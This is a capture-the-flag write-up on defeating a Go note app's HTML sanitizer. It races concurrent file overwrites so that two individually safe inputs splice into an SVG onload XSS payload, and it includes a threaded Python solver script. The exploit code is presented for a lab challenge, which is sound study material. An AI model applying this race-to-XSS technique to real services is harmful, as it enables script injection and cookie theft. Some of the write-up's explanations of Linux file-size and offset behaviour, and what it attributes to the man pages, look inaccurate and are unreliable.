"SEKAI 2k26": Freezing a Race Condition to Make the Admin Bot's Single Read a Sure Thing

I’ve been away from the CTF scene for almost 7 months now. The last CTF I played boosted my ego so much that people started calling me the “web guy”, I knew I wasn’t, and so I played this year’s SEKAI to put myself to the test.

The plan was to rely only on my skills and get as minimum of a help from the AI as possible. This writeup documents my thought process while solving the first web challenge called <\w+

TL;DR: The bluemonday strict policy + regex tag-stripping makes every individual write safe: no single write can produce <tag>. But the file write path uses os.OpenFile with O_TRUNC and zero locking. By racing a 67-byte write (AAA...AAA<) against an 87-byte write (AAA...AAAsvg/onload=alert(1)>), Linux’s i_size semantics kick in: the smaller write won’t shrink i_size, so the trailing 20 bytes from the larger write (svg/onload=alert(1)>) survive past the overwrite boundary. The resulting file reads as <svg/onload=alert(1)>, a live XSS payload frozen into the file. The admin bot’s single GET reads it and executes the XSS, giving us the flag.

Enjoy the human experience :)

1. Challenge description

The challenge is a simple note taking service. It’s clear that some kind of sanitization is taking place, and looking at how plain the DOM looks, it’s clear that this sanitization is taking place server-side:

sanitization function:

1
func sanitizer(msg string) (string, error) {
2
  if len(msg) > 128 {
3
    return "", fmt.Errorf("too long message")
4
  }
5

6
  if utf8.ValidString(msg) == false {
7
    return "", fmt.Errorf("invalid character")
8
  }
9

10
  sanitized := bluemonday.StrictPolicy().Sanitize(msg)
11

12
  // <\w+
13
  sanitized = strings.ReplaceAll(sanitized, "&lt;", "<")
14
  sanitized = strings.ReplaceAll(sanitized, "&gt;", ">")
15
  var reHTML = regexp.MustCompile(`<(/)?\w+`)
16

17
  sanitized = reHTML.ReplaceAllString(sanitized, "")
18

19
  return sanitized, nil
20
}

I will spare you from the whole source (until time comes), but essentially, I thought the vulnerability is certainly in how sanitization works, after all, the bluemonday HTML parser is different from chrome’s, it’s likely that a parser discrepancy would arise.

2. Initial recon

Let’s check how the sanitizer works, at first:

• HTML is taken and stripped from EVERY tag, input like:

1
<foo>bar</foo>

would yield the text bar and only that. Luckily for us:

• Opening and closing tags are reintroduced by decoding the < and > entity encoding. If our input originally is:

1
<foo>bar</foo>

Bluemonday would look at it, deem it safe and pass it to the next instruction which replaces it to:

1
<foo>bar</foo>

Awesome! We can see HTML again, well, not so fast:

• The next step clears any opening tags using the following regex:

1
var reHTML = regexp.MustCompile(`<(/)?\w+`)
2

3
sanitized = reHTML.ReplaceAllString(sanitized, "")

It matches any alphanumeric character coming after < and prevents any chance for opening a tag.

We can generate closing tags using input like <<a/script>, but given the context, it’s not very useful to us.

I spent a lotta time here. I wrote fuzzers to check if <[any_non_alphanum_char] would yield a valid opening tag, even went as far as hallucinating some ReDoS angle, but a quick look at the code as well as this snippet from the HTML spec revealed the dead end.

Anything other than an ASCII Alpha would NOT trigger a tag open state.

The HTML parser is a state machine.

Looking at how sanitization works. This is a dead end indeed.

3. Task analysis

If the sanitizer is THAT secure, we have to find a way to construct valid HTML.

If we zoom in a little bit, our input goes through several states:

If we can somehow catch a note at a dangerous state which has valid HTML, we can trigger the XSS and get the flag. The natural progression now is to read the note’s lifecycle. Let’s start from when we hit “submit” on a new note:

1
// create note
2
mux.HandleFunc("POST /create", func(w http.ResponseWriter, r *http.Request) {
3
    if err := r.ParseForm(); err != nil {
4
        http.Error(w, "invalid form data", http.StatusBadRequest)
5
        return
6
    }
7

8
    sanitized, err := sanitizer(r.FormValue("message"))
9
    if err != nil {
10
        http.Error(w, err.Error(), http.StatusBadRequest)
11
        return
12
    }
13

14
    id := generateID()
15
    filePath := fmt.Sprintf("/app/notes/%s", id)
16

17
    f, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0644)
18
    if err != nil {
19
        http.Error(w, err.Error(), http.StatusInternalServerError)
20
        return
21
    }
22
    defer f.Close()
23

24
    if _, err := f.Write([]byte(sanitized)); err != nil {
25
        http.Error(w, err.Error(), http.StatusInternalServerError)
26
        return
27
    }
28

29
    http.Redirect(w, r, fmt.Sprintf("/notes/%s", id.String()), http.StatusSeeOther)
30
})

Upon sanitization, we take our sanitized HTML, open filePath in write only mode, create it if it doesn’t exist, and empty it if it does.

I wanted to learn more about the flags so I checked the man page for openat(2), the syscall triggered by Go.

truncate huh? Linux has an explicit version which we can consult the man page of to see how it works.

Interesting. The offset (the pointer we use to keep track of which data to read next) is not updated. In the same man page, we see:

It means that writes of smaller size don’t update the size of the file, nor the offset. Concretely: a right write of 87 bytes extends the file to i_size = 87. Then a left write of 67 bytes overwrites bytes 0-66, but since 67 < 87, i_size stays 87. The left write lands at offset 0, not 67, because each open() returns a separate file descriptor and each fd tracks its own position independently. The right write’s fd advanced to 87, but the left write’s fd never moved, so it writes from the start. The trailing 20 bytes from the right write survive past the overwrite boundary. If a read lands now, it sees a spliced result: bytes 0-66 from the left (ending with <), bytes 67-86 from the right (starting with svg/onload=alert(1)>). Together they form <svg/onload=alert(1)>, a valid XSS payload. Neither write alone produces an opening tag, but the race stitches them together.

4. Exploitation

When I checked the source, I noticed there was no locking mechanism in place in note reading.

1
// read note
2
mux.HandleFunc("GET /notes/{id}", func(w http.ResponseWriter, r *http.Request) {
3
    id := r.PathValue("id")
4
    if err := validateID(id); err != nil {
5
        http.Error(w, err.Error(), http.StatusBadRequest)
6
        return
7
    }
8

9
    filePath := fmt.Sprintf("/app/notes/%s", id)
10
    data, err := os.ReadFile(filePath)
11
    if err != nil {
12
        http.Error(w, "note not found", http.StatusNotFound)
13
        return
14
    }
15

16
    w.Header().Set("Content-Type", "text/html;charset=utf-8")
17
    w.Write(data)
18
})

Additionally, a PUT handler exists to update our notes:

1
// edit note
2
mux.HandleFunc("PUT /notes/{id}", func(w http.ResponseWriter, r *http.Request) {
3
    id := r.PathValue("id")
4
    if err := validateID(id); err != nil {
5
        http.Error(w, err.Error(), http.StatusBadRequest)
6
        return
7
    }
8

9
    if err := r.ParseForm(); err != nil {
10
        http.Error(w, "invalid form data", http.StatusBadRequest)
11
        return
12
    }
13

14
    sanitized, err := sanitizer(r.FormValue("message"))
15
    if err != nil {
16
        http.Error(w, err.Error(), http.StatusBadRequest)
17
        return
18
    }
19

20
    filePath := fmt.Sprintf("/app/notes/%s", id)
21
    if _, err := os.Stat(filePath); os.IsNotExist(err) {
22
        http.Error(w, "note not found", http.StatusNotFound)
23
        return
24
    }
25

26
    f, err := os.OpenFile(filePath, os.O_WRONLY|os.O_TRUNC, 0644)
27
    if err != nil {
28
        http.Error(w, err.Error(), http.StatusInternalServerError)
29
        return
30
    }
31
    defer f.Close()
32

33
    if _, err := f.Write([]byte(sanitized)); err != nil {
34
        http.Error(w, err.Error(), http.StatusInternalServerError)
35
        return
36
    }
37

38
    http.Redirect(w, r, fmt.Sprintf("/notes/%s", id), http.StatusSeeOther)
39
})

That means two concurrent writes, individually safe, but combined dangerous would yield the XSS! Here’s how:

1. First, we create a dummy note. This will be the vessel for our race.

2. Then, we understand the following: Because no lock exists, depending on how the kernel schedules 2 concurrent writes, the last to be scheduled on a given byte wins that byte. To increase our chances of overlap, we’ll FIRE many writes of these two inputs:

• Left : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<
• Right: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsvg/onload=alert(1)>

If we’re lucky (and we will be), the kernel will write AAA...AAA<svg/onload=alert(1) and our XSS payload will emerge from the depths of race (corny I know~).

Below is the solver script:

solve.py

1
#!/usr/bin/env python3
2
import threading, time, requests
3

4
PAYLOAD = "svg/onload=alert(1)>"
5
URL = "http://localhost:8080"
6
BASE = URL
7
NOTE_ID = None
8
OFFSET = 67
9
VOLLEY_SIZE = 16
10
MAX_VOLLEYS = 2000
11

12
def filler(n):
13
    return "A" * n
14

15
def build(offset):
16
   left = filler(offset - 1) + "<"
17
   right = filler(offset) + PAYLOAD
18
   return left, right, "<" + PAYLOAD
19

20
def create_note():
21
   r = requests.post(URL + "/create", data={"message": "x"}, allow_redirects=False)
22
   return r.headers["Location"].rsplit("/", 1)[1]
23

24
def _put(nid, msg, barrier):
25
   try:
26
       barrier.wait(timeout=10)
27
       requests.put(f"{URL}/notes/{nid}", data={"message": msg}, allow_redirects=False, timeout=10)
28
   except Exception:
29
       pass
30

31
def volley(nid, left, right, n):
32
   msgs = [left] * n + [right] * n
33
   barrier = threading.Barrier(len(msgs))
34
   threads = [threading.Thread(target=_put, args=(nid, m, barrier), daemon=True) for m in msgs]
35
   for t in threads: t.start()
36
   for t in threads: t.join()
37

38
def is_frozen(base, nid, target, probes):
39
   s = requests.Session()
40
   for _ in range(probes):
41
       try:
42
           if target not in s.get(f"{base}/notes/{nid}", timeout=10).text:
43
               return False
44
       except Exception:
45
           return False
46
   return True
47

48
def main():
49
   left, right, target = build(67)
50
   print('LEFT : ', left)
51
   print('RIGHT: ', right)
52
   nid = NOTE_ID or create_note()
53
   print(f"[+] base   : {BASE}")
54
   print(f"[+] note id: {nid}")
55
   print(f"[+] target : {target!r}")
56

57
   t0 = time.time()
58
   for i in range(1, MAX_VOLLEYS + 1):
59
       volley(nid, left, right, VOLLEY_SIZE)
60
       if is_frozen(BASE, nid, target, 8):
61
           time.sleep(1.0)
62
           if is_frozen(BASE, nid, target, 12):
63
               dt = time.time() - t0
64
               print(f"\n[+][+][+] FROZEN after {i} volleys ({dt:.1f}s)")
65
               print(f"[+] Served bytes statically contain: {target!r}")
66
               print(f"[+] SUBMIT THIS NOTE ID TO THE ADMIN BOT (guaranteed hit):\n\n      {nid}\n")
67
               print("[+] The bot's one GET will parse <svg onload=...> and")
68
               print("[+] console.log(document.cookie) -> FLAG appears in the bot log.")
69
               return nid
70
       if i % 20 == 0:
71
           print(f"[*] {i} volleys, not yet frozen ({time.time()-t0:.0f}s)...", flush=True)
72
   print("[-] failed to freeze within max-volleys")
73

74
if __name__ == "__main__":
75
   main()

Running this gives:

Browsing it:

And delivering it gives the flag: SEKAI{l0g1c_l1v3s_1n_c0d3..._vuln_l1v3s_1n_t1m3!}

5. Key Takeaways

1. i_size survives small writes: When a write is shorter than the current file size, Linux does not update i_size. Bytes beyond the new write boundary persist from the previous write, enabling cross-write data splicing.

2. TOCTOU at the syscall boundary: open(O_TRUNC) and write() are separate syscalls. Any concurrent read between them sees stale, partial, or zero-length content, creating a window for race conditions.

3. Sanitizers don’t compose under concurrency: Two individually-safe sanitizer outputs, when merged at the filesystem level through a race, form a valid XSS payload. The sanitizer is sound in isolation but unsound under concurrent writes.

4. Freeze-and-verify for single-shot bots: The solver probes stability (8+12 reads) before submitting the note ID to the admin bot. Without this, the bot’s single GET might hit a clean state. Freezing turns probabilistic overlap into a deterministic read.

6. References

1. bluemonday - Go HTML sanitizer: The strict-policy sanitizer used in the challenge. Strips all HTML tags by default.
2. open(2) - Linux manual page: Documents O_TRUNC behavior: file is truncated to length 0 on open.
3. write(2) - Linux manual page: Documents i_size semantics: writes shorter than the file size do not update i_size or the offset.
4. HTML spec - Tag open state: Defines that only ASCII alpha characters trigger a tag open state, confirming the regex dead end.
5. OWASP ReDoS: Reference for the ReDoS avenue explored and discarded during initial recon.